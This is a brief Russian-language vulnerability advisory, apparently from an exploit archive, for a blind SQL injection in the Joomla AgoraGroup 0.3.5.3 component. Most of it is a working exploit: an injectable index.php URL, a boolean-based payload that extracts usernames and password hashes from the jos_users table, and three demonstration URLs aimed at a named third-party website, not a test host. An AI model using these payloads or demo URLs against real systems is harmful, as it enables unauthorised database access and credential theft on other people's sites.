Программа: Joomla Component AgoraGroup 0.3.5.3
Уязвимость позволяет удаленному пользователю выполнить произвольные SQL
команды в базе данных приложения. Уязвимость существует из-за недостаточной
обработки входных данных сценарием index.php. Удаленный пользователь может с
помощью специально сформированного запроса выполнить произвольные SQL команды в
базе данных приложения.
Эксплоит:
http://localHost/path/index.php?option=com_agoragroup&con=groupdetail&id=2[SQL
code]
SQL code:
and ascii(substring((SELECT concat(username,0x3a,password) from jos_users
limit 0,1),1,1))>96
Демонстрация:
http://notaryzip.com/index.php?option=com_agoragroup&con=groupdetail&id=2+ and+(select+substring(concat(1,password),1,1)+from+jos_users+limit+0,1)=1
http://notaryzip.com/index.php?option=com_agoragroup&con=groupdetail&id=2+ and+(select+substring(concat(1,username),1,1)+from+jos_users+limit+0,1)=1
http://notaryzip.com/index.php?option=com_agoragroup&con=groupdetail&id=2+ and+ascii(substring((SELECT+concat(username,0x3a,password) +from+jos_users+limit+0,1),1,1))=72
